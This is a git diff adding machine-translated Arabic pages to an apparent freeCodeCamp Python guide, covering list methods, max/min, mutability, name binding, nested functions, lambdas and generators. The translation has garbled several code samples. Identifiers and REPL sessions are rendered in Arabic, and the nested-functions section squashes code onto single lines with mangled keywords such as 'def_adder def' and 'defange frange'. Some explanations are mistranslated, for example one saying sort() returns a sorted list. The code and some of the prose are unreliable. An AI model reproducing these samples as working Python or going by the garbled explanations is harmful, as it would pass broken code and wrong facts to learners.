+ومع ذلك ، يمكن حساب ما سبق باستخدام حلقة بسيطة واستخدام هذه الطرق عرضة للتفضيل.
+
+#### معلومات اكثر:
+
+يمكن العثور على الوثائق الرسمية للطرق أعلاه في http://book.pythontips.com/en/latest/map\_filter.html
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/lists/list-pop/index.md b/client/src/guide/arabic/python/lists/list-pop/index.md
new file mode 100644
index 0000000000..314b22c6e4
--- /dev/null
+++ b/client/src/guide/arabic/python/lists/list-pop/index.md
@@ -0,0 +1,30 @@
+---
+title: List Pop Method
+localeTitle: قائمة البوب ​​الطريقة
+---
+# وظيفة البوب
+
+يزيل pop () الطريقة ويعيد العنصر الأخير من القائمة. هناك معلمة اختيارية ، فهرس العنصر المراد إزالته من القائمة. إذا لم يتم تحديد أي فهرس ، يقوم a.pop () بإزالة وإرجاع العنصر الأخير في القائمة. إذا كان المؤشر الذي تم تمريره إلى الأسلوب pop () غير موجود في النطاق ، فإنه يلقي IndexError: pop index خارج نطاق الاستثناء.
+
+#### مثال للاستخدام
+
+\`\` \`الحمر cities = \['New York'، 'Dallas'، 'San Antonio'، 'Houston'، 'San Francisco'\]؛
+
+print "مدينة برزت هي:"، cities.pop () print "City at index 2 is:"، cities.pop (2) \`\` \`
+
+\#### انتاج `City popped is : San Francisco City at index 2 is : San Antonio`
+
+#### وظائف المكدس الأساسية
+
+يتم استخدام أسلوب `pop()` غالبًا بالتزامن مع `append()` لتنفيذ وظائف مكدس أساسية في تطبيق Python.
+
+ `stack = [] 
+ 
+ for i in range(5): 
+    stack.append(i) 
+ 
+ while len(stack): 
+    print(stack.pop()) 
+` 
+
+\#### معلومات اكثر: يمكن العثور على الوثائق الرسمية لـ `pop()` [هنا](https://docs.python.org/3.6/tutorial/datastructures.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/lists/list-remove-method/index.md b/client/src/guide/arabic/python/lists/list-remove-method/index.md
new file mode 100644
index 0000000000..8c861d8daa
--- /dev/null
+++ b/client/src/guide/arabic/python/lists/list-remove-method/index.md
@@ -0,0 +1,37 @@
+---
+title: List Remove Method
+localeTitle: طريقة إزالة القائمة
+---
+## طريقة إزالة القائمة
+
+`remove()` أسلوب `remove()` الوسيطة المعطاة لها من القائمة.
+
+#### مثال للاستخدام
+
+ `words = ["I", "love", "Python"] 
+ words.remove("I") 
+ print(words) 
+` 
+
+#### انتاج |
+
+ `["love","Python"] 
+` 
+
+لاحظ أنه يقوم بإرجاع خطأ إذا لم يتم العثور على العنصر المراد إزالته في القائمة كما هو موضح في المثال أدناه.
+
+ `kiss = ["keep", "it", "simple", "stupid"] 
+ kiss.remove("complex") 
+ print(kiss) 
+` 
+
+#### انتاج |
+
+ `Traceback (most recent call last): 
+  File "<stdin>", line 1, in <module> 
+ ValueError: list.remove(x): x not in list 
+` 
+
+#### معلومات اكثر:
+
+يمكن العثور على مزيد من المعلومات حول `remove()` [هنا](https://docs.python.org/3.6/tutorial/datastructures.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/lists/list-sort-method/index.md b/client/src/guide/arabic/python/lists/list-sort-method/index.md
new file mode 100644
index 0000000000..42f328ad77
--- /dev/null
+++ b/client/src/guide/arabic/python/lists/list-sort-method/index.md
@@ -0,0 +1,102 @@
+---
+title: List Sort Method
+localeTitle: قائمة طريقة الفرز
+---
+## قائمة طريقة الفرز
+
+قوائم الثعبان لديها المدمج في `sort()` طريقة بتعديل القائمة في مكان و `sorted()` المدمج في وظيفة أن يبني قائمة مفروزة جديدة من iterable.
+
+list.sort (مفتاح = ... ، عكس = \[صواب / خطأ\])
+
+### المعلمات
+
+هناك نوعان من المعلمات الاختيارية لهذه الطريقة _key_ - يجب أن تكون قيمة الإدخال للمعلمة الرئيسية دالة تأخذ وسيطة واحدة وتقوم بإرجاع قيمة تستخدم لإجراء المقارنات لفرز العناصر في القائمة _عكس = \[قيمة\]_ _value = True_ : يقوم بفرز العناصر الموجودة في القائمة بترتيب تنازلي _value = False_ : يقوم بفرز العناصر الموجودة في القائمة بترتيب تصاعدي. هذا يعتبر القيمة الافتراضية. يرجى ملاحظة أن طريقة `sort()` لا تعيد أي قيمة. يعدل القائمة الأصلية.
+
+### مثال للاستخدام
+
+ `a = [4, 2, 5, 3, 1] 
+ a.sort() 
+ print a # prints [1, 2, 3, 4, 5] 
+ 
+ b = ['free', 'code', 'camp'] 
+ b.sort() 
+ print b # prints ['camp', 'code', 'free'] 
+` 
+
+النظر في مثال مع المعلمة **العكسية**
+
+ `a = [4, 2, 5, 3, 1] 
+ 
+ #Sorts the list in descending order 
+ a.sort(reverse=True) 
+ 
+ print a # prints [5, 4, 3, 2, 1] 
+` 
+
+إذا كنت تريد فرز القائمة بناءً على وظيفتك الخاصة ، فاستخدم المعلمة **الرئيسية** . في ما يلي مثال لفرز السلاسل في القائمة حسب الطول ، بترتيب تصاعدي
+
+ `a = ["hello", "hi", "hey"] 
+ 
+ #The built-in len() function is given as an input to key parameter to sort the strings by length 
+ a.sort(key = len) 
+ 
+ print a # prints ['hi', 'hey', 'hello'] 
+` 
+
+في ما يلي مثال آخر ، حيث تحتوي القائمة على مجموعات (الاسم والعمر). يوضح الاستخدام أدناه كيفية فرز القائمة حسب العمر ، بترتيب تصاعدي.
+
+ `#Consider the second element in the tuple for sorting 
+ >>> def compareByAge(element): 
+ ...     return element[1] 
+ 
+ b = [('Adam', 20), ('Rahman', 30), ('Rahul', 25)] 
+ 
+ #Sort the list by age 
+ b.sort(key = compareByAge) 
+ 
+ #Output 
+ print b # prints [('Adam', 20), ('Rahul', 25), ('Rahman', 30)] 
+` 
+
+### أساسيات الفرز
+
+إن الفرز التصاعدي البسيط سهل للغاية - ما عليك سوى استدعاء الدالة sort (). تقوم بإرجاع قائمة تم فرزها:
+
+ `>>> sorted([5, 2, 3, 1, 4]) 
+ [1, 2, 3, 4, 5] 
+` 
+
+يمكنك أيضا استخدام طريقة list.sort () من القائمة. يقوم بتعديل القائمة في المكان (ويعود بلا لتفادي الخلط). عادة ما يكون أقل ملاءمة من sorted () - ولكن إذا لم تكن في حاجة إلى القائمة الأصلية ، فستكون أكثر كفاءة.
+
+ `>>> a = [5, 2, 3, 1, 4] 
+ >>> a.sort() 
+ >>> a 
+ [1, 2, 3, 4, 5] 
+` 
+
+اختلاف آخر هو أن طريقة list.sort () محددة فقط للقوائم. في المقابل ، تقبل الدالة sorted () أي أمر ممكن.
+
+ `>>> sorted({1: 'D', 2: 'B', 3: 'B', 4: 'E', 5: 'A'}) 
+ [1, 2, 3, 4, 5] 
+` 
+
+#### تفاصيل التنفيذ
+
+إذا أراد المرء معرفة التفاصيل المتعلقة بتنفيذ وظيفة الفرز ، فالخوارزمية ، وتعقيد الوقت ، إلخ ، تشير [هنا](http://svn.python.org/projects/python/trunk/Objects/listsort.txt) . باختصار ، تستخدم وظيفة الفرز خوارزمية TimSort ، والتي وفقًا لمطوّري Python ، هي: -
+
+> دمج ، مستقر ، طبيعي ، مدمج ، يسمى متواضع timsort (مهلا ، أنا كسبت ذلك ). لديها أداء خارق على العديد أنواع المصفوفات مرتبة جزئيا (أقل من مقارنات Lg (N!) المطلوبة، و عدد قليل من N-1) ، ولكن بسرعة كما في السابق بايثون معاينة للغاية الهجين في المصفوفات العشوائية.
+
+#### الفرز () المعلمات
+
+بشكل افتراضي ، لا يتطلب sort () أي معلمات إضافية. ومع ذلك ، فإنه يحتوي على معلمتين اختياريتين:
+
+*   عكسي - إذا كان صحيحًا ، فسيتم عكس القائمة التي تم فرزها (أو فرزها حسب ترتيب تنازلي)
+*   وظيفة رئيسية تعمل كمفتاح للمقارنة بين الفرز
+
+#### معلومات اكثر:
+
+يمكن العثور على مزيد من المعلومات حول `sort()` [هنا](https://docs.python.org/3/library/functions.html#sorted)
+
+يمكن العثور على مزيد من المعلومات حول sort () وفرزها () [هنا](https://docs.python.org/3.6/tutorial/datastructures.html)
+
+يمكن العثور على مزيد من المعلومات حول sort () وفرزها () [هنا](https://docs.python.org/3.6/tutorial/datastructures.html) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/max-function/index.md b/client/src/guide/arabic/python/max-function/index.md
new file mode 100644
index 0000000000..b22f64ee0a
--- /dev/null
+++ b/client/src/guide/arabic/python/max-function/index.md
@@ -0,0 +1,51 @@
+---
+title: Python Max Function
+localeTitle: بيثون ماكس وظيفة
+---
+`max()` هي دالة مضمنة في Python 3. تقوم بإرجاع أكبر عنصر في iterable أو أكبر من الوسيطتين أو أكثر.
+
+## الحجج
+
+تأخذ هذه الوظيفة رقمين أو أكثر أو أي نوع من التكرار كوسيطة. في حين أننا نقدم حتمًا كحجة ، يجب أن نتأكد من أن جميع العناصر في المتغير هي من نفس النوع. هذا يعني أنه لا يمكننا تمرير قائمة تحتوي على كل من قيم السلسلة والعدد الصحيح المخزّنة فيه. بناء الجملة: max (iterable، \* iterables \[، key، default\]) max (arg1، arg2، \* args \[، key\])
+
+الحجج الصحيحة:
+
+ `max(2, 3) 
+ max([1, 2, 3]) 
+ max('a', 'b', 'c') 
+` 
+
+حجج باطلة:
+
+ `max(2, 'a') 
+ max([1, 2, 3, 'a']) 
+ max([]) 
+` 
+
+## قيمة الإرجاع
+
+يتم إرجاع أكبر عنصر في iterable. إذا تم توفير اثنين أو أكثر من الوسيطات الموضعية ، فسيتم إرجاع أكبر الوسيطات الموضعية. إذا كان iterable فارغًا ولا يتم توفير الافتراضي ، يتم رفع `ValueError` .
+
+## عينة الكود
+
+ `print(max(2, 3)) # Returns 3 as 3 is the largest of the two values 
+ print(max(2, 3, 23)) # Returns 23 as 23 is the largest of all the values 
+ 
+ list1 = [1, 2, 4, 5, 54] 
+ print(max(list1)) # Returns 54 as 54 is the largest value in the list 
+ 
+ list2 = ['a', 'b', 'c' ] 
+ print(max(list2)) # Returns 'c' as 'c' is the largest in the list because c has ascii value larger then 'a' ,'b'. 
+ 
+ list3 = [1, 2, 'abc', 'xyz'] 
+ print(max(list3)) # Gives TypeError as values in the list are of different type 
+ 
+ #Fix the TypeError mentioned above first before moving on to next step 
+ 
+ list4 = [] 
+ print(max(list4)) # Gives ValueError as the argument is empty 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CVok)
+
+[المستندات الرسمية](https://docs.python.org/3/library/functions.html#max)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/min-function/index.md b/client/src/guide/arabic/python/min-function/index.md
new file mode 100644
index 0000000000..b13bb7c1f2
--- /dev/null
+++ b/client/src/guide/arabic/python/min-function/index.md
@@ -0,0 +1,52 @@
+---
+title: Python Min Function
+localeTitle: بيثون مين وظيفة
+---
+`min()` هي دالة مضمنة في Python 3. تقوم بإرجاع أصغر عنصر في iterable أو الأصغر من الوسيطتين أو أكثر.
+
+## الحجج
+
+تأخذ هذه الوظيفة رقمين أو أكثر أو أي نوع من التكرار كوسيطة. في حين أننا نقدم حتمًا كحجة ، يجب أن نتأكد من أن جميع العناصر في المتغير هي من نفس النوع. هذا يعني أنه لا يمكننا تمرير قائمة تحتوي على كل من قيم السلسلة والعدد الصحيح المخزّنة فيه.
+
+الحجج الصحيحة:
+
+ `min(2, 3) 
+ min([1, 2, 3]) 
+ min('a', 'b', 'c') 
+` 
+
+حجج باطلة:
+
+ `min(2, 'a') 
+ min([1, 2, 3, 'a']) 
+ min([]) 
+` 
+
+## قيمة الإرجاع
+
+يتم إرجاع أصغر عنصر في iterable. إذا تم توفير اثنين أو أكثر من الوسيطات الموضعية ، فإن أصغر حجج الموضعية  
+يتم إرجاع. إذا كان iterable فارغًا ولا يتم توفير الافتراضي ، يتم رفع ValueError.
+
+## عينة الكود
+
+ `print(min(2, 3)) # Returns 2 as 2 is the smallest of the two values 
+ print(min(2, 3, -1)) # Returns -1 as -1 is the smallest of the two values 
+ 
+ list1 = [1, 2, 4, 5, -54] 
+ print(min(list1)) # Returns -54 as -54 is the smallest value in the list 
+ 
+ list2 = ['a', 'b', 'c' ] 
+ print(min(list2)) # Returns 'a' as 'a' is the smallest in the list in alphabetical order 
+ 
+ list3 = [1, 2, 'abc', 'xyz'] 
+ print(min(list3)) # Gives TypeError as values in the list are of different type 
+ 
+ #Fix the TypeError mentioned above first before moving on to next step 
+ 
+ list4 = [] 
+ print(min(list4)) # Gives ValueError as the argument is empty 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CVir/4)
+
+[المستندات الرسمية](https://docs.python.org/3/library/functions.html#min)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/more-built-in-types/index.md b/client/src/guide/arabic/python/more-built-in-types/index.md
new file mode 100644
index 0000000000..96196bbec8
--- /dev/null
+++ b/client/src/guide/arabic/python/more-built-in-types/index.md
@@ -0,0 +1,9 @@
+---
+title: Python More Built in Types
+localeTitle: بايثون أكثر بني في أنواعها
+---
+تصف الأقسام التالية الأنواع القياسية المضمنة في المترجم.
+
+الأنواع الأساسية المضمنة هي numerics و sequences و mappings و classes و instances و استثناءات.
+
+بعض فئات الجمع قابلة للتغيير. الأساليب التي تضيف أو تطرح أو تعيد ترتيب أعضائها في مكانها ، ولا ترجع عنصرًا محددًا ، ولا تعيد مطلقًا مجموعة المجموعة نفسها ولكن لا شيء.
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/mutability-and-variable-assignments/index.md b/client/src/guide/arabic/python/mutability-and-variable-assignments/index.md
new file mode 100644
index 0000000000..8f78cbda64
--- /dev/null
+++ b/client/src/guide/arabic/python/mutability-and-variable-assignments/index.md
@@ -0,0 +1,68 @@
+---
+title: Python Mutability and Variable Assignments
+localeTitle: بيثون التغير والواجبات المتغيرة
+---
+> كل كائن له هوية ونوع وقيمة. هوية الكائن لا تتغير أبدًا بمجرد إنشائه ؛ قد تفكر في ذلك كعنوان الكائن في الذاكرة. [مصدر](https://docs.python.org/3/reference/datamodel.html#data-model)
+
+بمجرد إنشاء `object` ، لا يمكن تغيير النوع والهوية. ما إذا كانت قيمة (قيم) الكائن يمكن أن تتغير بعد أن يحدد الإنشاء ما إذا كان الكائن قابلاً للتغيير (يمكن أن يتغير) أو غير قابل للتغيير (لا يمكن تغييره).
+
+حتى الآن تعلمناه عن أنواع قليلة من الكائنات والفئات الفرعية وهي: `string` الرمزية والرقمية (عدد صحيح، النقطة العائمة ومعقدة، ومنطقية) الكائنات. كل هذه الأشياء **غير قابلة للتغيير** .
+
+قد يكون هذا المفهوم مربكًا في البداية لأن ما هو جيد كائن إذا كنت لا تستطيع تعديله. ما يجعل هذه الأشياء قابلة للاستخدام هي القدرة على تعيين وإعادة تعيين المتغيرات. يمكن للوظائف والمشغلين إعادة كائنات جديدة يمكن تعيينها للمتغيرات.
+
+باستخدام [وظيفة المعرف المضمنة](https://docs.python.org/3/library/functions.html#id) ، والتي ترجع هوية الكائن ، يمكننا أن نرى كيف يعمل هذا.
+
+وهنا بعض الأشياء أن نأخذ في الاعتبار:
+
+*   لا يعني تعيين متغير أن _المتغير_ هو _الكائن_ . استخدمنا لغة محددة جدًا مع ملاحظة أن _عبارات المهمة_ **تربط** **اسمًا** (معرفًا) _بكائن_ . يمكن إعادة تعيين المتغيرات:
+
+\`الثعبان
+
+> > > أ = 1 # ربط كائن.  
+> > > معرف (أ)  
+> > > 140355241530152  
+> > > a = 2 # Rebind a إلى كائن آخر.  
+> > > معرف (أ)  
+> > > 140355241530128  
+> > > \`
+
+*   قد ينتج عن تخصيص متغيرين مختلفين _للأجسام الثابتة التي_ لها نفس القيمة (غير مضمون) أنها مرتبطة بنفس _الكائن_
+
+\`الثعبان
+
+> > > أ = 1  
+> > > ب = 1  
+> > > معرف (أ)  
+> > > 140355241530152  
+> > > id (b) # في هذه الحالة ، تكون b و b منضماً إلى نفس الكائن.  
+> > > 140355241530152  
+> > > \`
+
+*   تعيين اثنين من المتغيرات المختلفة _لimutable الكائنات_ مع قيم مختلفة سيؤدي دائما في أن يكونوا المنضم إلى _كائنات_ مختلفة:
+
+\`الثعبان
+
+> > > أ = 1  
+> > > ب = 2  
+> > > معرف (أ)  
+> > > 140355241530152  
+> > > معرف (ب) # أ وب منضما إلى كائنات مختلفة.  
+> > > 140355241530128  
+> > > \`
+
+*   لا يؤدي تغيير المتغيرات إلى تغيير الكائن الأصلي ، بل يربطها بكائن مختلف.
+
+\`الثعبان
+
+> > > أ = 1  
+> > > ب = 1  
+> > > معرف (أ)  
+> > > 140355241530152  
+> > > معرف (ب)  
+> > > 140355241530152  
+> > > أ = 2  
+> > > يتم ارتداد id (a) # a إلى كائن مختلف.  
+> > > 140355241530128  
+> > > معرف (ب) # ب لا يزال يرتبط بالكائن الأصلي.  
+> > > 140355241530152  
+> > > \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/name-binding-and-aliasing-functions/index.md b/client/src/guide/arabic/python/name-binding-and-aliasing-functions/index.md
new file mode 100644
index 0000000000..cf0a725625
--- /dev/null
+++ b/client/src/guide/arabic/python/name-binding-and-aliasing-functions/index.md
@@ -0,0 +1,27 @@
+---
+title: Python Name Binding and Aliasing Functions
+localeTitle: Python Name Binding and Aliasing Functions
+---
+يقدم تعريف الدالة اسم الدالة في جدول الرموز الحالي. تحتوي قيمة اسم الدالة على نوع يتم التعرف عليه بواسطة المترجم كدالة معرفة من قبل المستخدم.
+
+ `>>> something = 1 
+ >>> type(something) 
+ <type 'int'> 
+ >>> def something(): 
+ ...     pass 
+ ... 
+ >>> type(something) 
+ <type 'function'> 
+ >>> something = [] 
+ >>> type(something) 
+ <type 'list'> 
+` 
+
+يمكن تعيين هذه القيمة إلى اسم آخر يمكن استخدامه أيضًا كدالة. هذا بمثابة آلية إعادة تسمية عامة:
+
+ `>>> fib 
+ <function fib at 10042ed0> 
+ >>> f = fib 
+ >>> f(100) 
+ 0 1 1 2 3 5 8 13 21 34 55 89 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/nested-functions/index.md b/client/src/guide/arabic/python/nested-functions/index.md
new file mode 100644
index 0000000000..0cab5e604e
--- /dev/null
+++ b/client/src/guide/arabic/python/nested-functions/index.md
@@ -0,0 +1,105 @@
+---
+title: Nested Functions in Python
+localeTitle: وظائف متداخلة في بيثون
+---
+### مساحات
+
+تمثل معلمات الدالة ، بالإضافة إلى أي متغيرات مرتبطة (بواسطة تخصيص أو بواسطة عبارات ملزمة أخرى ، مثل def) في نص الدالة ، مساحة الاسم المحلية للوظيفة ، والتي تعرف أيضًا باسم النطاق المحلي. ويعرف كل من هذه المتغيرات كمتغير محلي للدالة.
+
+تعرف المتغيرات غير المحلية بالمتغيرات العامة (في غياب تعريفات الدالة المتداخلة ، والتي سنناقشها بعد قليل). المتغيرات العمومية هي سمات كائن الوحدة النمطية ، كما تم تغطيتها في "سمات كائنات الوحدة النمطية" في الصفحة 140. عندما يكون للمتغير المحلي الخاص بالوظيفة نفس الاسم كمتغير عمومي ، يشير هذا الاسم ، داخل نص الدالة ، إلى المتغير المحلي ، ليس العالم. نحن نعبر عن هذا بالقول أن المتغير المحلي يخفي المتغير الشامل الذي يحمل نفس الاسم في جسم الوظيفة.
+
+### البيان العالمي
+
+بشكل افتراضي ، أي متغير مرتبط داخل جسم دالة هو متغير محلي للدالة. إذا احتاجت إحدى الوظائف إلى إعادة بث بعض المتغيرات العامة ، فيجب أولاً يجب أن يكون بيان الوظيفة كما يلي:
+
+معرفات عالمية
+
+حيث المعرفات هي واحد أو أكثر من المعرفات مفصولة بفواصل (،). تشير المعرّفات المدرجة في بيان عالمي إلى المتغيرات العامة (أي سمات كائن الوحدة النمطية) التي تحتاج الدالة إلى إعادة بثها. على سبيل المثال ، يمكن تنفيذ عداد الدالة الذي رأيناه في "سمات أخرى لكائنات الدالة" في صفحة 73 باستخدام المتغير العام والمتغير العام ، بدلاً من سمة كائن الدالة:
+
+\_count = 0 def counter (): عالمي \_ عدد \_count + = 1 عودة \_count
+
+بدون العبارة العمومية ، سترفع الدالة العداد استثناء UnboundLocal- خطأ لأن \_count سيكون متغير محلي غير مهيأ (غير منضم). في حين أن البيان العالمي يمكّن هذا النوع من البرمجة ، فإن هذا النمط غالباً ما يكون غير متناسق وغير مرغوب فيه. كما ذكرت سابقًا ، عندما تريد تجميع بعض الحالات وبعض السلوكيات ، تكون الآليات الموجهة للكائنات في الفصل 5 عادةً أفضل.
+
+لا تستخدم العمومية إذا كان جسم الدالة يستخدم فقط متغيرًا عامًا (بما في ذلك تحوير الكائن المرتبط بهذا المتغير إذا كان الكائن قابلاً للتغيير). استخدم عبارة عامة فقط في حالة قيام جسم الدالة بتكرار متغير عام (بشكل عام عن طريق تعيين اسم المتغير). كمسألة أسلوب ، لا تستخدم عالميًا إلا إذا كان ذلك ضروريًا تمامًا ، نظرًا لأن وجودها سيؤدي إلى أن يقرِّر برنامجك أن البيان موجود لغرض مفيد. على وجه الخصوص ، لا تستخدم عالميًا باستثناء العبارة الأولى في نص وظيفة.
+
+{عنوان mospagebreak = وظائف متداخلة ونطاقات متداخلة}
+
+تعرف عبارة def (def def) في جسم دالة دالة متداخلة ، وتعرف الدالة التي يتضمن جسمها def كوظيفة خارجية إلى الدالة المتداخلة. قد يدخل الرمز الموجود في جسم الدالة المتداخلة (ولكن ليس التكرار) المتغيرات المحلية لدالة خارجية ، والتي تعرف أيضًا باسم المتغيرات المجانية للدالة المتداخلة.
+
+إن أبسط طريقة للسماح لدالة متداخلة بالوصول إلى قيمة لا تعتمد في الغالب على نطاقات متداخلة ، ولكن بدلاً من تمرير هذه القيمة بشكل صريح كواحدة من وسائط الدالة. إذا لزم الأمر ، يمكن ربط قيمة الوسيطة عندما يتم تعريف الدالة المتداخلة باستخدام القيمة على أنها القيمة الافتراضية لوسيطة اختيارية. فمثلا:
+
+def percent1 (a، b، c): def pc (x، total = a + b + c): return (x \* 100.0) / total الطباعة "النسب المئوية هي:" ، أجهزة الكمبيوتر (أ) ، وأجهزة الكمبيوتر (ب) ، وأجهزة الكمبيوتر (ج)
+
+إليك الوظيفة نفسها باستخدام النطاقات المتداخلة:
+
+def percent2 (a، b، c): def pc (x): return (x \* 100.0) / (a ​​+ b + c) الطباعة "النسب المئوية هي:" ، أجهزة الكمبيوتر (أ) ، وأجهزة الكمبيوتر (ب) ، وأجهزة الكمبيوتر (ج)
+
+في هذه الحالة المحددة ، يكون لدى النسبة المئوية 1 ميزة صغيرة: يحدث حساب a + b + c مرة واحدة فقط ، بينما يكرر الكمبيوتر الداخلي ذو الوظائف المئوية في الحصة ثلاث مرات. ومع ذلك ، إذا كانت الدالة الخارجية تقوم بتجريد المتغيرات المحلية الخاصة بها بين الاستدعاءات إلى الدالة المتداخلة ، فيمكن أن يكون تكرار الحساب ضروريًا. لذلك من المستحسن أن تكون على دراية بكلا النهجين ، واختيار الحالة الأكثر ملاءمة لكل حالة على حدة.
+
+تعرف أيضًا الدالة المتداخلة التي تصل إلى القيم من المتغيرات المحلية الخارجية باسم الإغلاق. يوضح المثال التالي كيفية إنشاء إغلاق:
+
+def\_adder def (augend): def add (addend): إضافة الإضافة + أوجند العودة إضافة
+
+عمليات الإغلاق هي استثناء للقاعدة العامة بأن الآليات الموجهة للكائنات التي يغطيها الفصل الخامس هي أفضل طريقة لتجميع البيانات والشفرات معاً. عندما تحتاج على وجه التحديد إلى إنشاء كائنات قابلة للاستدعاء ، مع بعض المعلمات التي تم إصلاحها في وقت بناء الكائن ، يمكن أن تكون عمليات الإغلاق أكثر بساطة وفعالية من الفئات. على سبيل المثال ، تكون نتيجة make\_adder (7) دالة تقبل وسيطة واحدة وتضيف 7 إلى هذه الوسيطة. تعتبر الدالة الخارجية التي تعيد الإغلاق "مصنعًا" لأعضاء مجموعة من الوظائف المتميزة ببعض المعلمات ، مثل قيمة الوسيط المعجزة في المثال السابق ، وقد تساعدك في الغالب على تجنب تكرار الكود.
+
+### تعبيرات لامدا
+
+إذا كان نص الدالة عبارة تعبير واحد ، فيمكنك اختيار استبدال الوظيفة بنموذج التعبير lambda الخاص:
+
+معلمات lambda: التعبير
+
+تعبير lambda هو المعادل المجهول للدالة العادية التي يكون جسدها عبارة إرجاع واحدة. لاحظ أن بناء الجملة lambda لا يستخدم الكلمة الأساسية المرجعة. يمكنك استخدام تعبير lambda حيثما يمكنك استخدام مرجع لوظيفة. يمكن أن تكون lambda مفيدة في بعض الأحيان عندما تريد استخدام وظيفة بسيطة كحجة أو قيمة إرجاع. في ما يلي مثال يستخدم تعبير lambda كوسيطة لوظيفة التصفية المضمنة (المغطاة في الفلتر في الصفحة 161):
+
+aList = \[1 ، 2 ، 3 ، 4 ، 5 ، 6 ، 7 ، 8 ، 9\] منخفض = 3 عالية = 7 عامل التصفية (lambda x، l = low، h = high: h> x> l، aList) # returns: \[4، 5، 6\]
+
+وكبديل ، يمكنك دائمًا استخدام عبارة def محلية تعطي اسم الدالة كائنًا. يمكنك بعد ذلك استخدام هذا الاسم كوسيطة أو قيمة إرجاع. في ما يلي مثال الفلتر نفسه باستخدام عبارة def def:
+
+aList = \[1 ، 2 ، 3 ، 4 ، 5 ، 6 ، 7 ، 8 ، 9\] منخفض = 3 عالية = 7 def ضمن _الحدود (القيمة ، l = low ، h = high): return h> value> l عامل التصفية (ضمن_ الحدود ، القائمة) # يرجع: \[4 ، 5 ، 6\]
+
+في حين أن lambda يمكن أن تكون مفيدة في بعض الأحيان ، يفضل العديد من مستخدمي Python def ، وهو أكثر عمومية ، وقد يجعل كودك أكثر قابلية للقراءة إذا اخترت اسمًا معقولًا للدالة.
+
+{mospagebreak title = Generators}
+
+عندما يحتوي جسم الدالة على واحد أو أكثر من مرات حدوث ناتج الكلمة الرئيسية ، تُعرف الدالة باسم المولد. عند استدعاء مولد ، لا يتم تنفيذ نص الدالة. وبدلاً من ذلك ، يقوم استدعاء المولد بإرجاع كائن مكوّن خاص يلف جسم الوظيفة ، والمتغيرات المحلية (بما في ذلك المعلمات) ، ونقطة التنفيذ الحالية ، وهي بداية تشغيل الدالة.
+
+عندما يتم استدعاء الأسلوب التالي لكائن التكرار هذا ، ينفذ جسم الدالة حتى بيان العائد التالي ، والذي يأخذ النموذج:
+
+التعبير العائد
+
+عند تنفيذ بيان العائد ، يتم "تنفيذ التعليمة" ، مع نقطة التنفيذ الحالية والمتغيرات المحلية سليمة ، ويتم إرجاع التعبير بعد العائد كنتيجة للطريقة التالية. عندما يتم استدعاء التالي مرة أخرى ، يستأنف تنفيذ جسم الوظيفة حيث توقفت ، مرة أخرى حتى بيان العائد التالي. في حالة انتهاء نص الدالة أو تنفيذ عبارة return ، يقوم المكافئ بإصدار استثناء StopIteration للإشارة إلى انتهاء التكرار. لا يمكن أن تحتوي عبارات الإرجاع في مولد على تعبيرات.
+
+مولد هو وسيلة سهلة جدا لبناء مكرر. نظرًا لأن الطريقة الأكثر شيوعًا لاستخدام مكرر البيانات هي التكرار باستخدام عبارة for ، فإنك عادةً ما تتصل بمولد مثل هذا:
+
+للمتغير في somegenerator (الحجج):
+
+على سبيل المثال ، قل أنك تريد تسلسلًا من الأرقام من 1 إلى N ثم إلى 1 مرة أخرى. يمكن أن يساعد المولد في:
+
+def updown (N): لـ x في xrange (1، N): yield x لـ x في xrange (N، 0، -1): الإنتاجية x لأني في updown (3): print i # printts: 1 2 3 2 1
+
+هنا مولد يعمل إلى حد ما مثل وظيفة xrange المضمنة ، لكنه يعيد سلسلة من قيم الفاصلة العائمة بدلاً من تسلسل من الأعداد الصحيحة:
+
+defange frange (start، stop، step = 1.0): بينما تبدأ <stop: بداية العائد start + = step
+
+هذا المثال frange فقط يشبه إلى حد ما xrange لأنه ، من أجل البساطة ، فإنه يجعل الحجج تبدأ وتوقف إلزامي ، ويفترض بصمت الخطوة إيجابية.
+
+تكون المولدات أكثر مرونة من الوظائف التي تعيد القوائم. قد يقوم المولد ببناء مكرر غير محدود ، بمعنى واحد يعيد سلسلة لا نهائية من النتائج (لاستخدامها فقط في الحلقات التي تنتهي بوسائل أخرى ، على سبيل المثال ، عبر بيان استراحة). علاوة على ذلك ، يعمل المكرر المبني بالمولدات على إجراء تقييم كسول: يحسب التكرار كل عنصر متتالي فقط عند وعند الحاجة ، في الوقت المناسب ، بينما تقوم الوظيفة المكافئة بإجراء جميع الحسابات مسبقًا وقد تتطلب كميات كبيرة من الذاكرة لاحتواء قائمة النتائج. لذلك ، إذا كان كل ما تحتاج إليه هو القدرة على التكرار على تتابع محسوب ، فمن الأفضل حساب التسلسل في المولد بدلاً من وظيفة تقوم بإرجاع قائمة. إذا احتاج المتصل إلى قائمة بجميع العناصر التي تم إنتاجها من قبل بعض المولدات المحدودة G (الوسائط) ، فيمكن للمتصل ببساطة استخدام التعليمة البرمجية التالية:
+
+result\_list = list (G (الحجج))
+
+### تعبيرات المولدات
+
